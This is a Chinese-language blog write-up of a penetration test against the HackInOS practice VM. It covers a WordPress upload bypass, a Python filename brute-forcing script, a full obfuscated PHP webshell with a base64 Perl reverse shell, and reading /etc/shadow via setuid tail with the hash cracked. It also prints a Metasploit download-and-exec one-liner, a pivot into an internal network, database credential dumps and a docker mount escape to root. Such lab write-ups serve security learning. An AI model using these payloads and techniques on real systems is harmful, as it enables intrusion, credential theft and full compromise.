一名脚本小子的进阶之路渗透测试

HackInOS渗透实战

2019-04-17  本文已影响278人  城市烈人

HackInOS渗透实战

该靶机很好玩,上马getshell,msf内网穿透,docker提权,简直帅炸了,无奈我的实力只能打到一半,很多都是查看国外大黑牛的教程……

靶机ip:192.168.56.101

nmap全扫

nmap -sS -Pn -A -p- -n 192.168.56.101
image.png

8000WEB渗透

http://192.168.56.101:8000/


image.png

又是一个wordpress建站

http://192.168.56.101:8000/?author=1 得到管理员的用户名Handsome_Container

image.png

这个站点有点假,login都指向localhost,未开发完成的

访问以下robots.txt


image.png
User-agent:*
Disallow:/upload.php
Disallow:/uploads

访问http://192.168.56.101:8000/upload.php

image.png

能上传图片,先右键下源码,发现最低端有个提示


image.png

访问看看 https://github.com/fatihhcelik/Vulnerable-Machine---Hint

image.png

看来靶机作者有提示

查看下upload.php的源码:

image.png

发现了上传必须以图片的格式 (png或者gif),但并没有过滤后缀名,尝试头部添加gif识别

上传后在图片名称后添加1-100的随机数,并进行md5加密,且全部转为小写

至此,我们可以上传包含一句话的图片马

gif98大法,上马getshell

抓包,改头部,用gif98大法上传图片马

image.png

但我们并不知道上传后的路径和名称,所以采用跑目录的方式,爆出上传的反弹shell

通过python脚本生成shell.php经过md5加密后的名称,然后进行dir爆破

python源码如下:

#!/usr/bin/python
            

import hashlib

for i in range(100):

    file = "shell.php" + str(i)

    hash = hashlib.md5(file.encode())

    dir = hash.hexdigest() + ".php"

    f = open("dict.txt", "a+")

    f.write(dir+"\r\n")

    f.close()   

爆破发现了该上传的加密的目录,

dirb http://192.168.56.101:8000/uploads/ dict.txt
image.png

但是很快被删除,所以速度要快

再次尝试上传GIF98头部的反弹shell马

使用猥琐的php反弹shell马,可过firewall,好用

<?php 
function which($pr) { 
$path = execute("which $pr"); 
return ($path ? $path : $pr); 
} 
function execute($cfe) { 
$res = ''; 
if ($cfe) { 
if(function_exists('exec')) { 
@exec($cfe,$res); 
$res = join("\n",$res); 
} elseif(function_exists('shell_exec')) { 
$res = @shell_exec($cfe); 
} elseif(function_exists('system')) { 
@ob_start(); 
@system($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(function_exists('passthru')) { 
@ob_start(); 
@passthru($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(@is_resource($f = @popen($cfe,"r"))) { 
$res = ''; 
while(!@feof($f)) { 
$res .= @fread($f,1024); 
} 
@pclose($f); 
} 
} 
return $res; 
} 
function cf($fname,$text){ 
if($fp=@fopen($fname,'w')) { 
@fputs($fp,@base64_decode($text)); 
@fclose($fp); 
} 
} 
$yourip = "192.168.56.102"; 
$yourport = '4444'; 
$usedb = array('perl'=>'perl','c'=>'c'); 
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
cf('/tmp/.bc',$back_connect); 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); 
?> 

截包上传后,跑目录发现该上传的文件,kali开启nc端口监听,直接反弹

dirb http://192.168.56.101:8000/uploads/ dict.txt
image.png image.png

su root

先用python切一下交互式的shell,好看一点

python -c 'import pty;pty.spawn("/bin/bash")'

翻一下wordpress的用户和密码,也许等下有用

image.png

不妨先寻找下该靶机上可执行的二进制的文件,也许能使用普通用户执行root命令

find / -perm -4000 2> /dev/null
image.png

可以使用tail命令查看文件,使用tail尝试查看下passwd或者shadow文件

直接进入靶机的etc目录下,发现cat没有权限查看shadow,直接用tail

tail shadow

读不到什么,先用tail --help 查看一下帮助

发现 -c 参数可以以字节位置读取文件,其他附加参数,-K 可以读1024位

tail -c1K shadow
image.png

拿到了root用户的密码hash

root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::

拿去john解下

image.png

解出来的密码就是john,登录ssh失败

直接su root吧

image.png

拿到了root下的flag

Life consists of details..

内网渗透

msf反弹

本以为这样就结束了,查看靶机的网络状态,发现靶机自己有一个内网地址 172.18.0.3

image.png

看教程,用msf拿反弹shell,进而扫内网,进行内网渗透

利用msf下的web_delivery模块,先 search web-delivery

use exploit/multi/script/web_delivery

配置好相关的IP和端口,进而生成一段payload

image.png
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.56.102:8080/YBFZpUoLLv6g9F');exec(r.read());"

将该payload拿到靶机的rootshell下执行,msf等待反弹

image.png

msf拿到会话

image.png

接下来常规操作

image.png

既然msf已经能打到靶机的内网了,就可以直接扫内网的网段

添加内网路由

切换一下msf的模块,添加通往靶机的路由

use post/multi/manage/autoroute
image.png

通过autoroute已经添加了一跳路由到靶机的eth0

[+] Route added to subnet 172.18.0.0/255.255.0.0 from eth0

扫描内网网段

在msf中继续切换到scanner扫描模块下,进行内网扫描

use auxiliary/scanner/portscan/tcp
set RHOSTS 172.18.0.1-254
set THREADS 10

配置好后直接run

image.png

好久,扫了好久,终于出来了

image.png
[+] 172.18.0.1:           - 172.18.0.1:22 - TCP OPEN
[+] 172.18.0.3:           - 172.18.0.3:80 - TCP OPEN
[+] 172.18.0.4:           - 172.18.0.4:2021 - TCP OPEN
[+] 172.18.0.2:           - 172.18.0.2:3306 - TCP OPEN
[+] 172.18.0.1:           - 172.18.0.1:8000 - TCP OPEN

可以看到

172.18.0.4开发了2021

172.18.0.2开放了3306

登录0.2段的数据库

在之前的shell中,发现了wordpress目录下的wp-config.php的配置文件,发现了该数据库的用户名和密码都是wordpress

mysql -h 172.18.0.2 -uwordpress -p
image.png

直接进入wordpress数据库找管理员账号和密码

image.png
Handsome_Container: $P$BXJ8ZmtYd5lHZOLPgTccLUhaQLxm0L0

再查看下host_ssh_cred表格:

image.png

得到用户和密码

hummingbirdscyber | e10adc3949ba59abbe56e057f20f883e

解md5的hash正好是123456

拿去ssh登陆

ssh登陆

账号密码:hummingbirdscyber: 123456

查看靶机内网的运行情况

image.png
docker images

发现docker中运行的镜像

按照教程中的提示

以root权限运行该docker虚拟机,直接拿到root权限

docker run -v /:/root -i -t ubuntu /bin/bash

直接get flag!!

总结

1、该靶机前期自己打了好久,上GIF98图片马getshell之后,发现有内网,我自己的想法是用内网穿透工具reGeory进行扫描,无奈尝试了tunnel_nosocket.php后,kali中的proxychain无法连接,也就无法打穿内网。
2、坦白讲,那个python爆目录的脚本是国外的一个大黑的 github上的,我的想法是上传后立刻mv到上级目录中,防止被销毁。
3、拿到假的root进入shell后,发现有docker环境,也是第一次尝试用docker run提权。

总体来说这个靶机作者很用心,能学到不少东西和方法。

靶机百度云下载
链接:https://pan.baidu.com/s/1fhP9DU-Z-UhI2wD4TiiZEg
提取码:pf5b

上一篇下一篇

猜你喜欢

热点阅读